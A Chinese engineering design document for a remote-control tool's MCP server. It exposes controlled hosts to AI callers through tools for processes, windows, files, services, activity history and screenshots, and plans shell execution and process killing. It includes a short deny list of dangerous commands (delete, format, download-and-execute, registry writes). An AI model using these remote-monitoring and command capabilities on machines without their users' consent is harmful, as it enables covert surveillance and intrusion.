- **文件列举也走 A′(`list_files`)**:列盘与进程/窗口同构(`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关);列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A′,而非原设计的模式 A(详见 §6.3)。
> **模式 A0(主连接单向命令,无响应)**:`kill_process`(`COMMAND_KILLPROCESS`)、`send_message`(`COMMAND_TALK`)这类「发完即走」的命令没有 MCP 需要的响应数据,**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形,实现最简单。
### 4.3 模式 B:子链接流式(终端 / 完整屏幕 / 完整文件)
适用于:`exec_command`(终端),以及未来的实时远程桌面、完整文件传输。
```
MCP 工具 tools/call
└─► 登记挂起请求 m_Pending[device_id](标记 mode=B)
└─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL) // 主连接下命令
客户端建 shell 子链接
└─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
├─ if (McpServer().IsPending(devId))
│ McpServer().TakeSubContext(devId, ContextObject); // 接管子上下文
│ break; // 跳过弹框
└─ 否则弹 WM_OPENSHELLDIALOG
后续 shell 输出
└─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
```
完全复刻 `WebService` 的 `IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式(`WebService.h:283-287`),但**不复用其长会话状态**——MCP 是「一次性:建链 → 收发 → 关链」。
### 4.4 统一挂起请求注册表
模式 A(主连接 RPC)与模式 A′(一次性子链接)共用一个按 `device_id`(= `context::GetClientID()`)索引的注册表。**当前实现(P2b)只覆盖 A/A′ 两种「一次性响应」**,故结构里只有 `data` + `done`,无需 `mode`/`subCtx`/`timedOut`;未来 P3a 的 `exec_command`(模式 B 流式)再扩展 `subCtx` 字段。
```cpp
struct PendingRequest {
std::string tool;
std::vector<BYTE> data; // 结果缓冲(MessageHandle 内同步拷贝的字节)
bool done = false;
};
std::mutex m_PendingMutex;
std::condition_variable m_PendingCv;
std::map<uint64_t, PendingRequest> m_Pending; // 受 m_PendingMutex 保护
```
暴露给 `MessageHandle` 的钩子:
- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A′:拷贝缓冲、`done=true`、唤醒 `cv`(在 IO 线程阻塞期间同步调用,拷贝安全)。
工具线程侧的方法:
- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起(`false` = 该 host 已有挂起,返回「设备忙」)。
- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应(超时/失败自动清理并返回 `false`)。
- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
**每 host 单飞行**:同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id,若同 host 并发两个请求,无法区分响应归属,故并发第二个请求返回「设备忙」(`-32003`)而非串扰。
> 说明:单飞行只约束「MCP 侧同 host 并发」,**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接(模式 A′)或各自触发(模式 A),互不占位。详见 §4.2′。
### 4.5 超时与清理(MCP 与 Web 的关键差异)
Web 是长连接,子链接可长驻;MCP 是**一次性 request/response**。因此:
- **超时**:`wait_for(timeout)` 等数据;当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`(暂未接配置,见 §9)。超时返回 JSON-RPC 错误(`-32001`),并清理注册表。
- **迟到回收(已知边界)**:数据在超时后才到达(`IsPending` 已清)时,拦截分支不成立,响应会**回落到原 MFC 路径**(进程/窗口弹 `WM_OPENSYSTEMDIALOG`,历史活动弹对话框)——属「客户端在 20s 内未响应」这一病态场景的罕见副作用,不会串扰或崩溃。正常路径(<1s 内响应)不受影响。若未来要彻底消除,可给注册表加「超时墓碑 + 宽限期丢弃」。
- **用完即关**:模式 A′(进程/窗口)拦截后 `CancelIO()` 关一次性子链接;模式 A(主连接 RPC)不关主连接。未来模式 B(终端)收集完 stdout 后主动关子上下文。
- **阻塞 httplib worker**:`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程,阻塞一个 20–30s 会占住一个 worker。MCP 属低频串行调用(AI 逐条调用),**本阶段可接受**;但需在 §12 显式声明,若未来需并发改用「提交任务 + 轮询结果」的异步模型。
---
## 5. 工具路线图(分阶段)
### 5.1 工具总表
> 「模式」标注实现路径(A=主连接 RPC,A′=一次性子链接,A0=主连接单向命令[无响应],B=子链接流式,—=纯内存)。
| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
|------|------|------|---------------|------|------|
| P1(已交付) | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
| P2a(已实现并验证) | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
| P2a(已实现并验证) | `get_host_detail` | 单机详情(不含活动历史) | 现成 device 字段(`BuildHostJson`) | — | 只读 |
| P2b(已实现并验证) | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→(子链接)`TOKEN_PSLIST` | **A′** | 只读 |
| P2b(已实现并验证) | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→(子链接)`TOKEN_WSLIST` | **A′** | 只读 |
| P2b(已实现并验证) | `get_activity_history` | 单机历史活动(文本快照) | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
| P2c(已实现) | `get_screenshot` | 单帧屏幕截图(JPEG) | `COMMAND_SCREEN_PREVIEW_REQ`→`TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
| P2c(已实现) | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`(列盘)/ 同子链接再 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`(列目录) | **A′** | 只读 |
| P2d(已实现) | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→(子链接)`TOKEN_SERVERLIST` | **A′** | 只读 |
| P2d(已实现) | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→(子链接)`TOKEN_REPORT_LOG`(156) | **A′** | 只读 |
| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL`→`TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写(低危) |
| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
| P4(暂缓) | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
### 5.2 Phase 2:只读观测(低风险,无写操作)
全部只读,不改变被控端任何状态,token 模型不变(仍单一静态 token)。P2a 纯内存、零改动;P2b/P2c/P2d 引入模式 A/A′ 无头接管,但只读、可回滚。
### 5.3 Phase 3:安全写操作(需单独评审)
进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点(见 §8):命令白名单、审计日志、**分组授权 + token 分级**。
### 5.4 Phase 4:会话/流式(暂缓)
实时远程桌面、交互终端等需要「持续流」的能力,与当前 request/response 模型不匹配。需先决定传输方案(SSE / 提交任务 + 轮询),本期**不做**,避免过早引入复杂会话状态。
---
## 6. 分阶段实施计划
> 每期都给出:改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
### 6.1 P2a:`search_hosts` + `get_host_detail`(纯内存,零子链接)✅ 已实现并验证
**改动**:仅 `McpServer.cpp`。
- `BuildToolsListResult` 增两个工具描述 + schema。
- `BuildToolsCall` 增两个分支,复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取(抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用)。
- 无任何 `MessageHandle`/`WebService`/`context` 改动。
**影响面**:极小,只加不改。**回滚**:revert 单文件即可。
**验收**:`tools/list` 返回 3 个工具;`tools/call search_hosts` 按 filter 正确过滤;`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
> **范围修正**:原计划 `get_host_detail` 附带「活动历史」,但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**(客户端上报、服务端不落库),非纯内存字段,违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段,活动历史单列为 P2b 的 `get_activity_history`(模式 A)。
### 6.2 P2b:`list_processes` + `list_windows` + `get_activity_history`(模式 A′ / 模式 A,首次无头接管)✅ 已实现并验证
> 本节已按实际实现修订:进程/窗口是**一次性子链接**(模式 A′),历史活动是**主连接 RPC**(模式 A),见 §4.2/§4.2′。
**改动**:
- `McpServer.h/.cpp`:
- 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`,每 host 单飞行检查。
- 加解析器 `ParseProcessList`(PID/name/arch/path,按 clientType 编码转 UTF-8)、`ParseWindowList`(hwnd/title/status/pid,标题按能力位解码);两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止,规避客户端 `LocalSize` 对齐引入的尾部零字节。
- 加三个工具:`list_processes`(发 `COMMAND_SYSTEM`)、`list_windows`(发 `COMMAND_WSLIST`)、`get_activity_history`(发 `COMMAND_QUERY_ACTIVITY`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`:
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支(子 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`(**在 UI 线程、IO 线程阻塞期间同步拷贝**;用完即关子链接)。
- `TOKEN_REPORT_ACTIVITY` 分支(主 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`(**不 CancelIO**,主连接不可关)。
**影响面**:`MessageHandle` 只新增 `if` 分支,不影响现有 MFC 弹框路径(非 MCP 触发时 `IsPending` 为假,行为不变)。
**验收**:
- MFC 双击进程/窗口管理弹框仍正常(回归点);MFC 历史活动对话框仍正常(回归点)。
- MCP `list_processes` 返回 `[{pid,name,arch,path}]`;`list_windows` 返回 `[{hwnd,title,status,pid}]`;`get_activity_history` 返回 `{records:[...], activityHistory}`(UTF-8 文本,逐行拆记录)。
- 超时(如对离线主机)返回 `-32001` 而非挂死;同 host 并发第二次调用返回 `-32003`「设备忙」;发送失败返回 `-32004`。
- 中文进程名/窗口标题无乱码(进程名按 clientType 解码、窗口标题按能力位 UTF-8)。
**验证记录**(2026-08-19,真实在线主机实测):
- `list_processes`(Windows 11 主机):`pid`/`name`/`arch`/`path` 完整;`pid==0` 仅 1 条(合法 `[System Process]`),无尾部零填充空记录——padding 防护生效。
- `list_windows`:`hwnd`/`title`/`status`/`pid` 完整,无空标题记录;中文标题(「搭建 MCP 架构…」「微信」)UTF-8 正确。
- `get_activity_history`:返回 `[时间] [标题] 时长` 记录,UTF-8 正确。
- 错误路径实测:缺 `id` → `-32602`;非数字 `id` → `-32602`;未知/离线主机 → `-32002`;错误 token → HTTP 401。
- **客户端版本门槛**:`get_activity_history` 依赖客户端 `2026-08-15`(提交 `29929e4`)加入的 `COMMAND_QUERY_ACTIVITY` 处理;更早的客户端(如 `Jul 14 2026`)不识别该命令、无响应,服务端 20s 超时返回 `-32001`——属预期行为,非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
### 6.3 P2c:`get_screenshot` + `list_files`(模式 A / A′)✅ 已实现(待实机验证)
> 本节按实际实现修订:`get_screenshot` 是**主连接 RPC**(模式 A,有 reqId 关联);`list_files` 是**一次性子链接**(模式 A′)——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关,列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A,已纠正(与 §4.2′ 对进程/窗口的同类纠正一致)。
**`get_screenshot`(屏幕预览链路,主连接 RPC,模式 A)**:
- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)(`common/commands.h:416-455`,单帧 JPEG,`ScreenPreviewReq`/`ScreenPreviewRspHeader`),`ctx->Send2Client` 发请求、主连接回响应,**不建子链接、不弹框**。
- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`,不重复实现 `GetTargetQualityLevel`。
- **可选 `max_width` 参数**:缺省/0 沿用缩略图档位(最大 1024,4K 源屏高档 1280);`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`(客户端 `CaptureAndEncodePreview` 硬钳制),供 AI 视觉/OCR 场景请求接近原分辨率(1080p 源屏传 1920 即原分辨率,4K 源屏最多 1920)。`jpegQuality` 仍沿用档位自适应值。
- **请求关联**:`ScreenPreviewReq.reqId` 提供关联;MCP 用独立 16 位 reqId 发生器(`NextPreviewReqId`,跳过 0)+ `SetPendingReqId` 登记期望值,`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应,过期/他途(MFC 预览并发)响应原样回落到 MFC 路径。
- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004,仅 Windows 客户端声明):非 Windows 主机返回 `-32005`「不支持」。
- 返回结构:`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`(元数据,不含 base64,避免二次膨胀)。
**`list_files`(文件链路,一次性子链接,模式 A′)**:
- 复用经典文件链路 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 与 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`。**明确范围**:本阶段只做经典链路;项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输,均列为非目标。
- **两种调用形态**:
- `path` 缺省/空(或 `.`/`/`/`\`)→ 只列盘:`COMMAND_LIST_DRIVE` 开子链接,`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链(与进程/窗口同构的 A′)。
- `path` 指定目录 → 列目录:`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path`(`BuildListFiles` 已按客户端 ANSI 转好,`OnDriveList` 不再转),等 `TOKEN_FILE_LIST` 取走并关链。
- **编码**:盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定(与进程名/路径一致):Windows 走 A 接口(`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等)= 客户端 ANSI(GBK/936);LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8,会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端(其文件名实为 GBK)。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)`,`cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`。
- **大列表保护**:`ParseFileList(data, 500, cp)` 条目上限 500,避免 JSON 响应过大。
- 返回结构:列盘 → `structuredContent.drives[]`;列目录 → `structuredContent.files[]`(`{name,isDir,size,mtime}`,mtime 为 Unix 秒)。
**改动**:
- `McpServer.h/.cpp`:
- 挂起注册表扩展:`PendingRequest` 增 `path`、`expectedReqId` 字段;`BeginPending(devId, tool, path)` 重载,新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
- 解析器:`ParseDriveList`(`[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]`,`letter=='\0'` 终止)、`ParseFileList`(`[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`,空记录/上限 500 终止)。
- 工具:`get_screenshot`(模式 A)、`list_files`(模式 A′),注册 schema(`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`(三处拦截):
- `TOKEN_SCREEN_PREVIEW_RSP`(主 context):`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break(**不 CancelIO**,主连接不可关)。
- `TOKEN_DRIVE_LIST`(子 context):`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`(列盘关链、列目录不关)。
- `TOKEN_FILE_LIST`(子 context,**新增 case**):`if (IsPending) TakeMainResponse(...); CancelIO();`(无论命中都关孤儿子链接,防泄漏)。
**影响面**:`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case;非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`,现有 MFC 文件管理/屏幕预览弹框路径不变。
**验收 / 实机验证点(待构建后执行)**:
- MFC 双击文件管理弹框仍正常(回归点);MFC 双击预览缩略图仍正常(回归点)。
- MCP `get_screenshot` 返回 JPEG(base64 + 元数据),Windows 主机正常;非 Windows 主机(或未声明 `CLIENT_CAP_SCREEN_PREVIEW`)返回 `-32005`。
- MCP `list_files`(无 `path`)返回 `drives[]`;`list_files(path="C:\\")` 返回 `files[]`(含目录/文件/大小/mtime),中文文件名无乱码;条目 >500 时截断为 500。
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
### 6.4 P2d:`list_services` + `get_client_log`(模式 A′,只读感知扩展)✅ 已实现并验证
> 本期新增两个**只读**感知工具,均走**一次性子链接**(模式 A′),复用 §4.4 挂起注册表,无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构:主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
**`list_services`(服务管理链路,一次性子链接,仅 Windows)**:
- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager`,`CServicesManager` **构造函数即** `SendServicesList()`(无需再下 `COMMAND_SERVICELIST` 刷新命令),在子链接上一次性回传 `TOKEN_SERVERLIST`。
- **记录格式**(`ServicesManager.cpp::GetServicesList`):`[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`,尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**(`displayName` 在前、`serviceName` 在后;源码注释「真实名称/显示名称」标注相反,勿据注释判断)。`runWay`/`autoRun` 为英文枚举串(`Stopped/Running/Paused/…`、`Boot-Start/Auto-Start/Demand-Start/Disabled/…`)。
- **编码**:字段全部来自 Windows A 接口(`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI),按 clientType 判定 `cp`(与进程/文件一致);仅 Windows 客户端实现(`EnumServicesStatus` 为 Windows-only),LNX/MAC 主机提前返回 `-32005`。
- 返回结构:`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`。
**`get_client_log`(客户端运行日志,一次性子链接取首条全量)**:
- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager`,`CClientLogManager` 构造函数 `SendLogDump()`(`m_sentIdx=0` 返回**全量**),并启动 push 线程**每 3s 推增量**。
- **关键语义**:`TOKEN_REPORT_LOG` 会**多次**到达(全量 + 每 3s 增量)。MCP 只取**首条全量**:`MessageHandle` 在 `IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接,后续增量不再到达(与 MFC 日志对话框「持续接收增量、不关链」的路径区分)。
- **日志内容**:YAMA 客户端**自身运行时日志**(`Logger` 内存 ring buffer,最近最多 1000 条,含 `[pid][时间戳] [文件:行号] 消息`),**非** Windows 系统日志。
- **编码**:日志文本为客户端 ANSI(Windows 走 `vsnprintf` A 版),按 clientType 判定 `cp`;`data[0]=token` 后为无 `'\0'` 终止的原始字节,需先 `std::string` 包装再 `ToUtf8`(`ToUtf8` 内部以 `-1` 读 null 终止串)。
- 返回结构:`structuredContent.log = "<原始日志文本>"`。
**改动**:
- `McpServer.h/.cpp`:
- 解析器 `ParseServiceList`(5 字段记录,有界读 + 「displayName 与 serviceName 皆空 = 尾部零填充」终止)。
- schema `BuildServiceListOutputSchema` / `BuildClientLogOutputSchema`(inputSchema 复用 `BuildGetHostDetailInputSchema` 的 `{ id }`)。
- 工具 `BuildListServices`(发 `COMMAND_SERVICES`,LNX/MAC 提前 `-32005`)、`BuildGetClientLog`(发 `COMMAND_QUERY_LOG`)。
- `2015RemoteDlg.cpp` 的 `MessageHandle`(两处拦截):
- `TOKEN_SERVERLIST`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(一次性,取走即关)。
- `TOKEN_REPORT_LOG`(子 context):`if (IsPending) { TakeMainResponse; CancelIO(); break; }`(取首条全量即关,停止 3s 增量)。
**影响面**:`MessageHandle` 仅新增两个 `if` 分支;非 MCP 触发时 `IsPending` 为假,MFC 服务管理弹框与日志对话框路径不变(回归点)。
**验收 / 实机验证点**:
- MFC 双击「服务管理」弹框仍正常(回归点);MFC 打开「客户端运行日志」对话框仍正常、增量持续追加(回归点)。
- MCP `list_services` 对 Windows 主机返回 `services[]`,中文显示名/路径无乱码,`status`/`start_type` 为英文枚举;对 LNX/MAC 主机返回 `-32005`。
- MCP `get_client_log` 返回 `log` 文本快照(UTF-8),中文日志无乱码;空日志返回空 `log`。
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
**验证记录**(2026-08-19,真实在线主机实测):
- `list_services`(Windows 11 EXE 主机「Essential / VCU」):返回 255 个服务,字段序(显示名→服务名→路径→状态→启动类型)正确,`status`/`start_type` 英文枚举、路径完整。
- `get_client_log`(同上主机):返回 510 行 / 40309 字节全量快照,`[pid][时间戳][文件:行号]` 格式正确,中文日志(「启动运行」「任务已存在」「打开注册表失败,错误码:2」等)GBK→UTF-8 转码全部正确。
- 错误路径实测:LNX 主机 `list_services` → `-32005`;缺/非法 `id` → `-32602`;离线 → `-32002`。
- **客户端版本门槛**:`get_client_log` 对 Linux 客户端 20s 超时返回 `-32001`——当前 Linux 客户端运行版本未实现 `COMMAND_QUERY_LOG`→`CClientLogManager` 日志回传链路(服务端下发命令无响应),属版本/实现门槛,非 MCP 缺陷(与 §6.2 `get_activity_history` 对老客户端超时同类)。`list_services` 因服务为 Windows-only(`EnumServicesStatus`),已对 LNX/MAC 提前 `-32005`,不受此门槛影响。
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处拦截。
### 6.5 P3a:`exec_command`(模式 B,写操作,评审后实施)
**改动**:复刻 Web 终端链路(§4.3),把 `m_TermPending` 换成 MCP 自己的挂起标记:
- 下 `COMMAND_SHELL` → `TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` 接管 → 发送命令文本 → 收集 stdout → 关子链接 → 返回。
**完成判据(本工具最难的半截,必须定死)**:交互 shell 没有「命令结束」信号,采用**哨兵方案**:
```
实际下发: cmd ; echo __MCP_DONE_<nonce>__ ; echo __MCP_EXIT_$?__
收集端: 持续累积 TOKEN_SHELL_DATA,直到同时匹配 __MCP_DONE_<nonce>__ 与 __MCP_EXIT_<code>__
取出退出码,剥离哨兵行,返回 stdout
```
`<nonce>` 随机,避免命令自身输出误命中哨兵;整体受 `McpToolTimeoutMs` 兜底(超时强制关链 + 返回错误)。
**前置安全评审**(见 §8)通过后才实施。
**验收**:`exec_command(id, "tasklist")` 返回进程列表文本 + 退出码;白名单外命令被拒绝并审计;超时/离线返回明确错误;MFC 终端弹框不受影响。
---
## 7. 「新增工具」标准配方(可复用流程)
后续任何人新增一个工具,按以下 6 步走:
1. **定协议与模式**:确认复用哪个 `COMMAND_*`→`TOKEN_*` 链路,判定是模式 A(主连接 RPC)、A0(单向命令)还是 B(子链接流式),写进 §5.1 表格。
2. **定 schema**:在 `BuildToolsListResult` 注册 `name`/`description`/`inputSchema`/`outputSchema`(description 用 `u8"..."`,见 §10)。
3. **加 dispatch**:在 `BuildToolsCall` 里加一个 `toolName == "..."` 分支。
4. **实现数据通路**:
- 纯内存/现成字段 → 直接实现,不进 `MessageHandle`。
- 模式 A0(单向命令)→ 直接 `Send2Client` 后返回,无需挂起/超时。
- 模式 A → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeMainResponse`(IO 线程同步拷贝,**不 CancelIO**)。
- 模式 A′ → 同模式 A,但拦截后额外 `ContextObject->CancelIO()` 关一次性子链接。
- 模式 B → 加 `m_Pending` 挂起 + `MessageHandle` 对应 `TOKEN_*` 加 `if (IsPending) TakeSubContext` + `OnShellData` 泵数据。
5. **超时与清理**:带超时、迟到回收、用完即关(模式 B);每 host 单飞行(§4.5)。
6. **验收与回滚**:写 §11 的 DoD 清单,确认回归点(对应 MFC 弹框路径不变)。
---
## 8. 安全与权限模型演进
| 阶段 | 鉴权 | 授权 |
|------|------|------|
| P1/P2 | 单一静态 Bearer token | 全部只读,token 即授权 |
| P3 | 引入 **token 分级 + 分组授权** | 只读 token / 完整 token 两档;写操作要求完整 token 且限定可访问分组 |
| P4 | (如需)会话级授权 | 会话内临时授权 |
**P3 进入前必须评审的三条边界:**
1. **命令白名单**:`exec_command` 默认只放行只读命令(`systeminfo`/`tasklist`/`ipconfig`/`netstat` 等);危险命令(`del`/`format`/下载执行/`reg add`)需显式放行或直接拒绝。
2. **审计日志**:每次写操作记录 `host_id + tool + 参数 + token 来源(env/CFG)+ 时间`,写 `Mprintf` + 日志文件。
3. **分组授权(新增)**:写工具必须限定「token 能操作哪些主机/分组」,**复用 Web 远程桌面已有的 `WebUser.allowed_groups` + admin/viewer 角色模型**(`WebService.cpp:1852-1877`),而非仅区分读/写。否则一个完整 token 就能对**所有**主机执行命令,越过了 Web 侧已有的分组隔离。
> 设计底线:MCP 的写能力与 Web 远程桌面同等级敏感,任何写工具都要按「可控、可审、可关、可分组隔离」交付,不允许「开了 MCP 就能无脑执行任意命令」。
---
## 9. 配置与开关扩展
延续 Phase 1 的配置风格(`settings` 段 + env 覆盖 + `UIBranding` 开关):
> **配置存储位置(重要)**:`THIS_CFG` 在 **Release 版恒走注册表** `HKCU\Software\YAMA\settings`(`2015Remote.cpp:238` 的 `#else` 分支 `new iniFile`);`settings.ini` 仅在 **Debug 版**(`#ifdef _DEBUG` 且 `GetPwdHash()==masterHash`)才读,否则同样走注册表。故 Release 版改 MCP 配置应走「扩展 → MCP设置」对话框(写注册表)或直接改注册表,手改 `settings.ini` 对 Release 无效。
| 配置键 | 默认 | 说明 |
|--------|------|------|
| `McpEnabled` | 0 | 总开关(已有) |
| `McpPort` | 6544 | 端口(已有) |
| `McpBind` | 127.0.0.1 | 绑定(已有) |
| `McpToken` | 空 | 静态 token(已有) |
| `McpReadonly` | 1 | **P3 新增**:1=仅只读工具,0=开放写工具(配合完整 token) |
| `McpCmdWhitelist` | 内置只读命令集 | **P3 新增**:`exec_command` 白名单(分号分隔) |
| `McpToolTimeoutMs` | 20000 | **P2b 新增**:数据等待超时(当前为 `McpServer.cpp` 内编译期常量 `kMcpToolTimeoutMs`,未接配置) |
新增写能力时,`UIBranding.h`/`FeatureFlags.h` 加对应隐藏/特性位,保持「品牌定制可裁剪」的既有约定。
---
## 10. 编码 / 兼容性规范
- **UTF-8 输出**:所有进入 JSON 的字符串用 `u8"..."` 前缀(项目 `/execution-charset:.936` 会把普通窄字面量编成 GBK)。已在 `list_online_hosts` 的 `description` 中验证,服务端输出正确 UTF-8。
- **JSON 转义**:jsoncpp 会把非 ASCII 输出为 `\uXXXX`,这是合法 JSON,客户端解析即还原,无需处理。
- **客户端能力位**:依赖客户端能力的工具(如 `get_screenshot` 的 `CLIENT_CAP_SCREEN_PREVIEW`、UTF-8 字段的 `CLIENT_CAP_UTF8`)必须先查能力位,不支持则返回明确错误而非空结果。
- **id 一致性**:工具入参 `id` 必须与 `list_online_hosts` 返回的 `id` 同源(`context::GetClientID()` 的 uint64),可直接回填 `FindHost(uint64_t)`;仅接受**在线**主机的 id,离线返回明确错误。
- **版本兼容**:子链接命令/结构体(`common/commands.h`)**禁止改动既有字段**;MCP 只消费既有协议,不新增命令(原则 2)。
- **MBCS 构建**:新增 UI 文案走 `_TR()` + lang ini(GBK),与 Phase 1 一致。
---
## 11. 验收标准(Definition of Done)
每个工具交付时,以下全部满足才算完成:
- [ ] `tools/list` 返回该工具及完整 schema。
- [ ] 正常输入返回正确结构化结果。
- [ ] 非法输入(错 id / 缺参数 / 设备离线 / 不支持能力)返回**明确的 JSON-RPC 错误码**,不崩溃、不挂死。
- [ ] 数据获取有超时、迟到回收;模式 B 用完即关(无会话泄漏)。
- [ ] 每 host 单飞行:同 host 并发请求被拒绝而非串扰。
- [ ] **回归点**:对应 MFC 弹框/Web 路径行为不变(非 MCP 触发时不受影响)。
- [ ] 编码正确(UTF-8,中文无乱码)。
- [ ] 写操作工具附带白名单/审计/分组授权(仅 P3)。
- [ ] 无新增第三方库。
---
## 12. 风险与回滚
| 风险 | 缓解 |
|------|------|
